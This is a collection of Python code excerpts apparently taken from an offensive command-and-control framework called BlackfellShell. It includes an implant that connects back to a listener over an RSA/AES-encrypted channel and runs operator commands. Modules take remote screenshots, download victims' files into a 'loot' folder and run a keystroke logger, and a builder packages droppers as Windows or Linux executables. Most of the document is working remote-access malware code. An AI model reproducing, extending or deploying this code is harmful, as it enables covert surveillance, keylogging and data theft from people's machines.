Exemplo n.º 1
0
    def terminate(self, args=None):
        """Stop the agent fully"""

        bc.info("Terminating!")
        self.s.close()
        self.run_flag = False
        self.resp = None
Exemplo n.º 2
0
    def CRYPTSETUP(self, args=None):
        """Configure and start the encrypted tunnel with the listener"""

        try:
            self.RSA_KEY = RSA.generate(2048)
            pub_key = self.RSA_KEY.publickey().exportKey()
            print("DEBUG - generated public key : {}".format(pub_key))
            #WE can't use builtin resp() yet because no crypto
            self.s.send(b64encode(pub_key))
            enc_AES = self.s.recv(1024)
            decryptor = PKCS1_OAEP.new(self.RSA_KEY)
            self.AES_KEY = decryptor.decrypt(b64decode(enc_AES))
            bc.success("Got AES Key : {}".format(self.AES_KEY))
            #Destroy RSA Key
            del (self.RSA_KEY)
            bc.info("Sending success message!")
            self.send("success")
            resp = self.recv(string=True)
            bc.info("Got success message back off C2, now to test it.")
            if "success" in resp:
                bc.success("Cryptsetup success!!")
                return True
            else:
                bc.err("Crypto setup failed, response: {}".format(resp))
                raise ValueError("No success message received from listener")
        except Exception as e:
            bc.err("Exception setting up crypto : {}.".format(e))
            return False
Exemplo n.º 3
0
def main(agent, args=None):
    """Order and receive screenshots from dropper, displays if requested"""

    try:
        settings = parse_args(agent, args)
        if not settings:
            bc.err("Error parsing args : {}".format(settings))
            return
        #Setup out-file
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png'
        #receive the file!
        gotsz = False
        raw_bytes = b''

        #Get the agent to screenshot
        agent.send('screenshot')
        while True:
            chunk = agent.recv(print_flag=False, blocking=False)
            try:
                if not chunk:
                    continue
                if not gotsz:
                    size = chunk[8:].decode()  #Size tuple as string
                    size = (int(size.split(',')[0]), int(size.split(',')[1]))
                    gotsz = True
                    #print("DEBUG - Img size : {}".format(size))
                elif chunk.endswith(b'<BSEOF>'):
                    raw_bytes += chunk[:-7]
                    break
                else:
                    raw_bytes += chunk
                    #Status info
            except Exception as e:
                bc.err(
                    "Download screnshot chunk failed because : {}. Try again?".
                    format(e))
                break

        #Reconstruct the image from raw raw bytesb
        bc.info("Reconstructing image.")
        img = Image.frombytes('RGB', size, raw_bytes)

        if settings['show']:
            img.show()
        img.save(file_name)
        img.close()

        bc.green_print(
            "\n[+] ",
            "{} - screenshot saved to : {}".format(agent.name, file_name))
    except Exception as e:
        bc.err_print("\n[!] ",
                     "{} Screenshot failed : {}".format(agent.name, e))
        #Flush socket
        chunk = b''
        while b'<BSEOF>' not in chunk:
            chunk = agent.recv(print_flag=False, blocking=False)
Exemplo n.º 4
0
    def do_activate(self, line):
        """Activates agents, by setting an active flag. Interact commands
        will start an interaction with any agents that have been activated."""

        act = "*" if line == "" else line
        bc.info("Activating: {}".format(act))
        for l in self.root_menu.listeners:
            for a in l.agent_list:
                if line in a.name:
                    a.active = True
                #It's not our listener
                else:
                    pass
Exemplo n.º 5
0
    def do_deactivate(self, line):
        """Unsets the active flag in a given agent, so that when interact
        starts, this agent isn't included in the interaction."""

        act = "*" if line == "" else line
        bc.info("Deactivating: {}".format(act))
        for l in self.root_menu.listeners:
            for a in l.agent_list:
                if line in a.name:
                    a.active = False
                #It's not our listener
                else:
                    pass
Exemplo n.º 6
0
    def recv(self, print_flag=True, debug=False, string=False):
        """Receive data from the C2, handles long messages until length <2048
        decrypts and returns everything as bytes or string as per string flag.
        now designed to get any network traffic and store in fifo, then do recv
        from fifo."""

        #get traffic from network and append to recv_buffer
        while True:
            chunk = self.s.recv(2048)
            self.recv_buf += chunk
            if len(chunk) < 2048:
                break
        #parse recv buffer for next message
        #We should have a colon at position 1,
        #another after the 16 byte IV, then another somwhere else again
        if self.recv_buf.count(b':') < 3:
            bc.err("Error, didn't receive at least 1 complete message")
            return False
        elif self.recv_buf.find(b':') > 0 and self.recv_buf.find(
                b':', 1) != AES.block_size + 1:
            bc.err("Receive buffer contains malformed messages!")
            return False
        else:
            #first col already at pos 0 from previous checks
            col1 = 0
            col2 = self.recv_buf.find(b':', 1)
            col3 = self.recv_buf.find(b':', col2 + 1)
            message = self.recv_buf[:col3 + 1]
            self.recv_buf = self.recv_buf[
                col3 + 1:]  #Also remove the message from queue
            if debug:
                bc.info("Encrypted message : {}".format(message))
            IV = b64decode(message[col1 + 1:col2])
            ciphertext = b64decode(message[col2 + 1:col3 + 1])

        #Decryption return either message, or False
        if debug:
            bc.info("IV : {}".format(IV))
        if string:
            return self.decrypt(IV, ciphertext).decode()
        else:
            return self.decrypt(IV, ciphertext)
Exemplo n.º 7
0
    def do_kill(self, line):
        """Kill agents and/or listeners by name"""

        if not line or line == "*":
            input_str = bc.warn_format(
                "[!]", " Do you want to kill all agents and listeners? [Y/n]:")
            if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']:
                return
        for l in self.root_menu.listeners:
            for a in l.agent_list:
                if line in l.name:
                    bc.info("killing : {}".format(l.name))
                    #l.terminate()
                    l.send_q.put('terminate')
                elif line in a.name:
                    #l.terminate_agent(a)
                    bc.info("killing : {}".format(a.name))
                    l.send_q.put('terminate_agent {}'.format(a.name))
                #It's not our listener
                else:
                    bc.warn("{} not found, not terminating.".format(line))
Exemplo n.º 8
0
    def send(self, message, debug=False):
        """Send string to C2, automatically encrypts the data and manages
        conversion of the data to bytes & b64encoded objects before sending."""

        if not message:
            bc.info("No mesasge to send. not sending.")
            return
        try:
            if debug:
                bc.info("Sending {} to {}.".format(message, str(self.name)))
            enc = self.encrypt(message)
            if enc:
                if debug:
                    print("Message - {} IV : {}".format(message, enc[0]))
                    bc.info("Message length : {}".format(len(b''.join(enc))))
                message = b':' + b':'.join(
                    [b64encode(i)
                     for i in enc]) + b':'  #colon IV colon message, colon
                if message:
                    self.s.sendall(message)  #Sendall instead
            else:
                bc.err("Encryption failed in repl function.")
        except BrokenPipeError as e:
            bc.err("Agent {} not responding. Terminating".format(self.name))
            self.terminate()
            bc.warn("Terminate failed, falling back on emergency method.")
            raise Exception("Agent {} dead.".format(self.name))
        except Exception as e:
            bc.err("Failed to send message: {}".format(e))
Exemplo n.º 9
0
    def run(self):
        """The main function called when a dropper runs"""

        #Retry connections a few times
        for i in range(self.retries):
            try:
                self.connect()
                bc.success("Connected")
                #i = self.retries
                break
            except Exception as e:
                bc.err("Could not connect:\n{}.".format(e))
                time.sleep(self.retry_wait)
                continue

        #Now connected, encrypt:
        bc.info("Setting up encryption")
        if not self.CRYPTSETUP():
            bc.err("Encryption setup failed. Exiting.")
            return

        #Main loop
        while self.run_flag:
            bc.info("Loop start - receiving")
            self.get_command()
            bc.blue_print("[-] ",
                          "- Implant got: {} : {}".format(self.cmd, self.args))
            if self.cmd in self.commands:
                #if self.args:
                print("DEBUG - command {} is in the command list. Yay!".format(
                    self.cmd))
                if self.args:
                    try:
                        self.commands[self.cmd](self.args)
                    except Exception as e:
                        self.send(
                            "ERROR Exception in Implant (with args) :\n{}".
                            format(e))
                        self.cmd = ''
                else:
                    try:
                        self.commands[self.cmd]()
                    except Exception as e:
                        self.send("ERROR Exception in Implant :\n{}".format(e))
                        self.cmd = ''
            else:
                self.send(
                    'ERROR - Command not recognised: {}'.format(self.cmd +
                                                                ' ' +
                                                                self.args))
            bc.info("Command complete - main loop over.")
Exemplo n.º 10
0
    def run(self):
        """Main function called when listere thread starts"""

        try:
            #Check RSA key again, never too careful
            if not self.check_RSA_KEY():
                bc.err("RSA Key not valid. If you're stuck reset in home menu.")
                success == False
                raise ValueError("RSA Key invalid")
            bc.info('Starting listener on {}:{}'.format(self.LHOST, self.LPORT), True)  #Strong info
            self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                self.s.bind((self.LHOST, self.LPORT))
                self.s.listen(self.max_conns)      #Listen for max of N connectionsa
                self.success = True
            except Exception as e:
                bc.err_print('[!] ', '- Failed to bind socket : \n {}'.format( str(e)))
                self.s.shutdown(socket.SHUT_RDWR)
                self.s.close()
                return
            while True:
                #'print("DEBUG - Listener looping again!")
                self.s.settimeout(0.5)  #Socket must timeout to enable loop
                if not self.kill_flag.is_set():
                    #Run general COMMANDS
                    if not self.send_q.empty():
                        self.command = self.send_q.get_nowait()  #False non blocking
                        #It's hogging CPU, is the queue maybe full of blank strings?
                        if self.command == '':
                            continue
                        self.do_method()
                    #Handle TCP connection
                    try:
                        c = self.s.accept()    #Timeout on accept so we can read the queue
                        (conn, client_address) = c
                        agt = Agent(self, conn, client_address)
                        agt.name = "agt-"+ self.name + "-" + str(len(self.agent_list) +1)
                        self.agent_list.append(agt)
                        agt.start()
                        bc.blue_print("\n[!] ", "- Agent connected : {}.".format(agt.name))
                        c = None    #So the loop behaves
                    #If no agent in the timeout, let's get q stuff
                    except socket.timeout:
                        pass
                        #Now print anything in the queue:
                        if not self.recv_q.empty():
                            #print("reading q2")
                            resp = self.recv_q.get()
                            #print("reading q3")
                            bc.blue_print("[-] ", "- Received :".format(resp))
                            time.sleep(5) # TODO - remove
                else:
                    self.s.shutdown(socket.SHUT_RDWR)
                    self.s.close()
                    break #Kill thread

        except Exception as e:
            bc.warn_print("[!] ", "- Listener stopped: {}".format(e))
            self.s.shutdown(socket.SHUT_RDWR)
            self.s.close()
            self.success == False
        finally:
            bc.blue_print("[-] ", "- Listener {} terminated.".format(self.name))
Exemplo n.º 11
0
    def recv(self,  print_flag=True, debug=False, string=False, blocking=True):
        """Receive data from implant, handles decryption of the data and will
                continue to receive until no more data is sent."""

        if debug:
            bc.info("Agent {} receiving data.".format(self.name))

        if not blocking:
            #Sockets should be non-blocking
            self.s.setblocking(0)
            if debug:
                bc.info("Set nonblocking.")
        else:
            self.s.setblocking(1)
            if debug:
                bc.info("Set blocking.")

        #get traffic from network and append to recv_buffer
        try:
            while True:
                chunk = self.s.recv(2048)
                self.recv_buf += chunk
                if len(chunk) < 2048:
                    break
        except socket.error as e:
            err = e.args[0]
            #err, text = e.args
            if err == errno.EAGAIN or err == errno.EWOULDBLOCK:
                #bc.info("No data received by socket in {}".format(self.name))
                if debug:
                    bc.info("No data received by socket in {}".format(self.name))
            else:
                # a "real" error occurred
                bc.err("Socket error in {} receive : {}".format(self.name, e))


        #parse recv buffer for next message
        #We should have a colon at position 1,
        #another after the 16 byte IV, then another somwhere else again
        if self.recv_buf.count(b':') < 3:
            if debug:
                bc.err("Error, no data to rev. Didn't receive at least 1 complete message")
            return False
        elif self.recv_buf.find(b':')>0 and self.recv_buf.find(b':', 1) != AES.block_size + 1:
            bc.err("Receive buffer contains malformed messages!")
            return False
        else:
            #first col already at pos 0 from previous checks
            col1 = 0
            col2 = self.recv_buf.find(b':', 1 )
            col3 = self.recv_buf.find(b':', col2 +1 )
            message = self.recv_buf[:col3 + 1]  #Get message FIFO style
            self.recv_buf = self.recv_buf[col3 + 1:]     #Also remove the message from queue
            if debug:
                bc.info("Encrypted message : {}".format(message))
                bc.info("Decoding IV from : {}".format(message[ col1 + 1 : col2 ]))
            IV = b64decode(message[ col1 + 1 : col2 ])
            ciphertext = b64decode(message[ col2 + 1 : col3 + 1 ])

        #Decryption return either message, or False
        if debug:
            bc.info("IV : {}".format(IV))
        recv = self.decrypt(IV, ciphertext)
        if b'ERROR Exception' in recv:
            bc.err("Exception occured in implant:\n{}".format(recv))
        #Print if flag set
        if print_flag:
            bc.blue_print("\n[+] ", "{} : \n{}".format(self.name, recv.decode()))
        #return string or bytes as requested
        if string:
            if debug:
                bc.info("Recv returning string.")
            return recv.decode()
        else:
            if debug:
                bc.info("Recv returning bytes.")
            return recv
Exemplo n.º 12
0
def main(dropper, args=None):
    """start, stop, kill, clear and dump key logger and associated data"""

    #Get settings
    settings = parse_args(dropper, args)
    if not settings:
        bc.err("Error parsing args : {}".format(settings))
        return
    #Settings check
    if settings['start'] and settings['kill']:
        bc.warn("Cannot start AND kill at the same time.")
        dropper.send("ERROR - cannot start and kill simoultaneously")
        return

    #If not already created, make some dropper attributes
    try:
        print("DEBUG - Checking if required objects exist alread")
        dropper.keylogger
        dropper.log_stream
        logging.info("")
        print("DEBUG - it all exists!")
    except:
        print("DEBUG - they didn't exist...")
        dropper.keylogger = keyboard.Listener(on_press=on_press,
                                              on_release=on_release)
        dropper.log_stream = StringIO()
        logging.basicConfig(stream=dropper.log_stream,
                            level=logging.INFO,
                            format="%(message)s")

    #Start
    if settings['start'] and not dropper.keylogger.running:
        dropper.keylogger = keyboard.Listener(on_press=on_press,
                                              on_release=on_release)
        dropper.keylogger.start()
        dropper.send("Keylogger started in {}, {}".format(
            dropper.name, dropper.keylogger.running))
        return
    elif settings['start']:
        dropper.send("ERROR - Cannot start, logger already running")
        return

    #Kill
    if settings['kill'] and not dropper.keylogger.running:
        dropper.send("ERROR - Cannot stop, logger not yet running : {}".format(
            dropper.keylogger.running))
        return
    elif settings['kill']:
        print("DEBUG - Killing Keylogger")
        dropper.keylogger.stop()
        dropper.send("Keylogger stopped in {}".format(dropper.name))
        return

    #Dump
    if settings['dump']:
        print("Logged data : {}".format(dropper.log_stream.getvalue()))
        success, message = dump_keylog(dropper)
        if success:
            bc.success("Successful keylog dump!")
            dropper.send("{} : {}".format(dropper.name, message))
        else:
            bc.info("Keylog failed, sending error message.")
            dropper.send("DUMP failed : {}".format(message))
        return

    #Clear
    if settings['clear']:
        print("DEBUG - clearing")
        if dropper.keylogger.running:
            dropper.keylogger.stop()
            print("Logged data pre-clear : {}".format(
                dropper.log_stream.getvalue()))
            dropper.log_stream.truncate(
                0)  #Creating a new stringIO object iddn't seem to work
            print("Logged data post-clear: {}".format(
                dropper.log_stream.getvalue()))
            dropper.keylogger = keyboard.Listener(on_press=on_press,
                                                  on_release=on_release)
            dropper.keylogger.start()
        else:
            dropper.log_stream.truncate(0)
        dropper.send("Keylogger buffer cleared in {}".format(dropper.name))
        return

    #Else it was nothing
    dropper.send("No valid keylogger commands provided.")
    return
Exemplo n.º 13
0
def demo():
    """Print a series of demo BShell commands to console"""

    w, h = os.get_terminal_size()
    w = 0.9 * w  #Scale for beauty

    bc.info(
        "The BlackfellShell can be used to run any python module written for it, but the key functionality it allows is running agents."
    )
    time.sleep(5)
    bc.info("All modules are called using the keyword 'use' like this:")
    time.sleep(5)
    print("BS >\r", end="")
    time.sleep(1)
    fake_type('BS > ', 'use auxiliary/example')
    print("")
    bc.info("Using module:  auxiliary/example")
    print("""
    Example module, for use in understanding the BShell.

    Hello world within the BShell. Prints your message a number of times.
    num_repeats must be a string.
    color can be green, red, orange or blue.
    """)
    print("BS : " + bc.green_format("modules/auxiliary/example", "") + " >")
    time.sleep(10)
    bc.info("Once you've activated a module, you'll switch to a new menu.")
    time.sleep(2)
    bc.info("This new menu will allow you to configure and run the module.")
    time.sleep(2)
    bc.info("Start by getting module info:")
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'None', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(5)
    bc.info("Each option in the module can be set with the 'set' keyword")
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set color red')
    print("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ")
    time.sleep(4)
    bc.info("Let's check it made a change.")
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    bc.info("Showing info for module:\n")

    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'red', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(4)
    bc.info(
        "If you didn't like that, the reset keyword will set options back to default."
    )
    time.sleep(4)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'reset color')
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    time.sleep(1)
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'None', 'None', 'True'],
               ['num_prints', 'None', 'None', 'True'],
               ['color', 'None', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(4)
    bc.info("You must set all required options.")
    time.sleep(4)
    bc.info(
        "Modules will test for required options, and maybe other things when they run."
    )
    time.sleep(4)
    bc.info("Let's configure the rest of this module now.")
    time.sleep(5)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set message Hello, World.')
    time.sleep(2)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'set color red')
    time.sleep(2)
    bc.info(
        "You can use tab completion on most settings, just hit tab once you've started typing."
    )
    time.sleep(5)
    message = "BS : " + bc.green_format("modules/auxiliary/example",
                                        "") + " > "
    for i in 'set nu':
        message += i
        print('{}\r'.format(message), end="")
        time.sleep(0.1)
    time.sleep(1)
    print('{}<TAB>\r'.format(message), end="")
    time.sleep(0.5)
    print('{}<TAB>\r'.format(message), end="")
    time.sleep(1)
    message = message + 'm_prints'
    print('{}\r'.format(message), end="")
    time.sleep(4)
    fake_type(message, ' 8')
    time.sleep(4)
    print("")
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'info')
    print("")
    time.sleep(1)
    bc.info("Showing info for module:\n")
    format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format(
        int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w))
    #format_string = "{:<20} {:<40} {:<30} {:<10}"
    underline = "=" * int(w)
    bc.bold_print(
        format_string.format("Option", "Value", "Default", "Required?"), "")
    bc.blue_print(underline, "")
    printer = [['exit_on_exec', 'True', 'True', 'True'],
               ['message', 'Hello, World.', 'None', 'True'],
               ['num_prints', '8', 'None', 'True'],
               ['color', 'red', 'None', 'True']]
    for p in printer:
        print(format_string.format(p[0], p[1], p[2], p[3]))
    print("")
    time.sleep(5)
    bc.info(
        "Now you're all configured, you can run the module with the 'execute' keyword"
    )
    time.sleep(5)
    fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \
            'execute')
    time.sleep(1)
    bc.info("Setting up module...")
    bc.success("Setup complete. Executing...")
    bc.green_print("[-] ", "Print incoming!")
    for i in range(8):
        bc.err_print("Hello, World.", "")
    bc.green_print("[-] ", "Module executed, exiting.")
    time.sleep(5)
    bc.info(
        "Most commands have help messages you can use, just type help in any menu."
    )
    time.sleep(3)
    bc.success("Good luck!")
Exemplo n.º 14
0
def main(agent, file=None):
    """REquest a file from the dropper, then receive raw data
    until the dropper sneds an end of file marker. Save to a local
    timestamped file"""

    try:
        if not file:
            bc.err_print("[!] ", "- Error - no file specified.")
            return
        agent.send('download ' + file)
        bc.info("{} downloading {}".format(agent.name, file))
        #Setup file to save here
        timestamp = time.strftime("-%Y-%m-%d-%H%M%S")
        if len(file.split('.')) > 1:
            nm = '.'.join(file.split('.')[:-1])
            ext = '.' + '.'.join(file.split('.')[-1:])
        else:
            nm = file
            ext = ''
        file_name = agent.listener.loot_dir + nm + ext + '-' + agent.name + timestamp + ext
        temp_file = agent.listener.loot_dir + agent.name + 'temp.dnld'
        count = 0
        last_completion = 0
        tot_bytes = 0
        completion = 0
        gotsz = False
        scrn_w, scrn_h = os.get_terminal_size()
        scrn_w = scrn_w - 7 - 20  #7 less for percentage figures + prompt + slack
        prnt_str = '{} {} {}%\r'.format('{:>' + str(int(scrn_w)) + '}', '{}',
                                        '{}')
    except Exception as e:
        bc.err("Exception: {}".format(e))
        return

    with open(file_name, 'wb') as f:
        while True:
            try:
                chunk = agent.recv(print_flag=False,
                                   debug=False,
                                   string=False,
                                   blocking=False)
                if not chunk:
                    #We're non-blocking, so there may be empty chunks
                    continue
                if b'File not found' in chunk:
                    bc.err(
                        '{} unable to download, {} file may not exist.'.format(
                            agent.name, file))
                    return
                elif not gotsz:
                    size = float(chunk.decode()[8:])
                    #Get size to print:
                    if size / 1000000000 >= 1:
                        prnt_size = '{} Gb'.format(
                            round((size / 1024000000.0), 1))
                    elif size / 1000000 >= 1:
                        prnt_size = '{} Mb'.format(round((size / 1024000.0),
                                                         1))
                    elif size / 1000 >= 1:
                        prnt_size = '{} Kb'.format(round((size / 1024.0), 1))
                    else:
                        prnt_size = '{} byte'.format(size)
                    #Now print it
                    print("")  #Neaten output
                    bc.info("{} downloading {} data.".format(
                        agent.name, prnt_size))
                    gotsz = True
                elif chunk.endswith(b'<BSEOF>'):
                    chunk = chunk[:-7]
                    f.write(
                        chunk
                    )  # Write those last received bits without the word 'BSEOF'
                    chunk = ''  #Because we don't want orphan bits of chunk
                    break
                else:
                    f.write(chunk)
                    tot_bytes += len(chunk)
                    completion = (tot_bytes / size) * 100
                    if round(completion, 0) - round(last_completion, 0) >= 1.0:
                        #print("{}% downloaded.".format(int(round(completion, 0))))
                        #print('{} downloaded {}[%d%%]\r'%int(round(completion, 0)), end="")
                        print('{} downloaded {}%\r'.format(
                            bc.blue_format("[+] ", '- ' + agent.name),
                            int(round(completion, 0))),
                              end="")

                        #print(prnt_str.format(
                        #        bc.blue_format("[+] ", '- ' + agent.name), ' downloaded ',int(
                        #        round(completion, 0))), end="")

                        #print("Chunks : {}, tot_bytes : {}".format(count, tot_bytes))
                    last_completion = completion

            except Exception as e:
                bc.err(
                    "Download chunk failed because : {}. Try again?".format(e))
                clear_pipe = b''
                while b'<BSEOF>' not in clear_pipe:
                    clear_pipe = agent.recv(print_flag=False)
                    return
                #gracefully stop download operation
            finally:
                count += 1
                chunk = ''
    print("")
    bc.success('Download complete: {}'.format(file_name), True)
Exemplo n.º 15
0
    def setup(self):
        """Configures and tests the module, anything that sanity checks
        user input can be put in here."""

        #First configure LHOST and LPORT from listener
        try:
            self.set_option('LPORT', int(self.get_option('LPORT')))
        except:
            bc.err("LPORT invalid - must be integer. Cannot autoconvert.")
            return False
        #LHOST
        try:
            self.set_option('LHOST', str(self.get_option('LHOST')))
        except:
            bc.err("LHOST invalid - must be integer. Cannot autoconvert.")
            return False
        #Check out directory - should only need to be created once
        if not os.path.exists(self.get_option('out_dir')):
            try:
                os.makedirs(self.get_option('out_dir'))
                bc.info("Output directory created : {}".format(self.get_option('out_dir')))
            except:
                bc.err("Could not read or create out_dir : {}. Is it a valid directory?.".format
                        (self.get_option('out_dir')))
                return False
        #Setup the source dirs - different for each dropper
        self.base_dir = self.get_option('out_dir') + self.get_option('filename') + '/'
        #Check if file already exists
        test_dir = self.base_dir[:-1]
        i=1
        while True:
            if os.path.isdir(test_dir):
                new_test_dir = self.base_dir[:-1] + str(i)
                i+=1
                bc.warn("{} already exists, trying to place in {}".format(test_dir, new_test_dir))
                test_dir = new_test_dir
            else:
                break
        self.base_dir = test_dir + '/'
        self.src_dir = self.base_dir + self.src_dir
        self.bin_dir = self.base_dir + self.bin_dir
        #Now make the dirs
        for d in [self.base_dir, self.src_dir, self.bin_dir]:
            if not os.path.isdir(d):
                os.makedirs(d)
                bc.info("Created : {}".format(d))
        #Check boolean settings
        if not self.check_bool('py2exe'):
            return False
        if not self.check_bool('py2exe'):
            return False
        if not self.check_bool('exit_on_exec'):
            return False
        if (self.get_option('py2exe') and self.get_option('pyinstaller'))\
                or ((not self.get_option('py2exe')) and (not self.get_option('pyinstaller'))):
            bc.warn("You must pick either py2exe or pyinstaller\n py2exe : {} Pyinstaller: {}".format(
                    self.get_option('py2exe'), self.get_option('pyinstaller')))
            return False

        #Check platform
        if self.get_option('platform').lower() not in [ 'windows', 'linux']:
            bc.warn("Platform {} invalid. Pick 'linux' or 'windows'.".format(
                    self.get_option('platform')))
            return False

        return True
Exemplo n.º 16
0
    def run(self):
        """Main module code, called when the module is executed
        This module prints user provided messages to the console"""

        #Override with what to do with this class when it runs
        exit_on_exec, LHOST, LPORT, listener, out_dir, filename, py2exe, pyinstaller, \
                platform, retries = [i['value'] for i in self.options.values() ]
        #Get code for our dropper and put it in some source files
        src = []
        src.append("print('hello, world')")
        src.append("from resources.droppers import bs_tcp as d")
        src.append("drp = d.BSDropper('{}', {})".format(LHOST, LPORT))
        src.append("drp.retries = {}".format(retries) )
        src.append("drp.run()" )

        #Write source file
        src_filename = self.src_dir + self.get_option('filename') + '.py'
        #Write source file
        with open(src_filename, 'w') as s:
            for line in src:
                s.write(line + '\n')
        #Write temp file to work on
        with open('tmp.py', 'w') as s:
            for line in src:
                s.write(line + '\n')

        #Cross compile options first
        #Rule out py2exe on linux - not required but belt and braces
        if py2exe and platform.lower() == 'linux':
            bc.err("Py2exe does not support Linux. Sorry.")
            return False

        #Linux to windows first
        if sys.platform == 'linux' and platform.lower() == 'windows':
            if py2exe:
                if not self.py2exe_linux_2_win(LHOST, LPORT, out_dir, filename):
                    bc.err("Failed to compile with py2exe. Check setup instructions for Wine on Python 3.4")
                    return False
                else:
                    bc.success("Complied with py2exe!")
            elif pyinstaller:
                if not self.pyinstaller_linux_2_win(LHOST, LPORT, out_dir, filename):
                    bc.err("Failed to compile with pyinstaller. Check setup instructions for Wine on Python.")
                    return False
                else:
                    bc.success("Complied with pyinstaller!")

        #Now Windows to linux
        elif sys.platform == 'win32' and platform.lower() == 'linux' and pyinstaller:
            if pyinstaller:
                if not self.pyinstaller_win_2_linux(LHOST, LPORT, out_dir, filename):
                    bc.err("Failed to compile with py2exe. Check setup instructions for Ubuntu on WSL.")
                    return False
                else:
                    bc.success("Complied with pyinstaller!")

        #Otherwise it's homogeneous compilation
        elif (sys.platform == 'linux' and platform.lower() == 'linux') or (
                sys.platform == 'win32' and platform.lower() == 'windows'):
            if py2exe and sys.platform == 'windows':
                if not self.py2exe_same_same(LHOST, LPORT, out_dir, filename):
                    bc.err("Failed to compile with py2exe.")
                    return False
                else:
                    bc.success("Complied with py2exe!")
            elif pyinstaller:
                if not self.pyinstaller_same_same(LHOST, LPORT, out_dir, filename):
                    bc.err("Failed to compile with pyinstaller.")
                    return False
                else:
                    bc.success("Complied with pyinstaller!")

        #Maybe there's something else
        else:
            bc.err("No valid install options for platform : {}".format(platform))
            return False
        os.remove('tmp.py')
        #Notify the user what we did.
        bc.info("Dropper files available at {}".format(self.base_dir))



        if self.get_option('exit_on_exec'):  #Add success criteria - we want to stay in if fail
            return True
        else:
            return False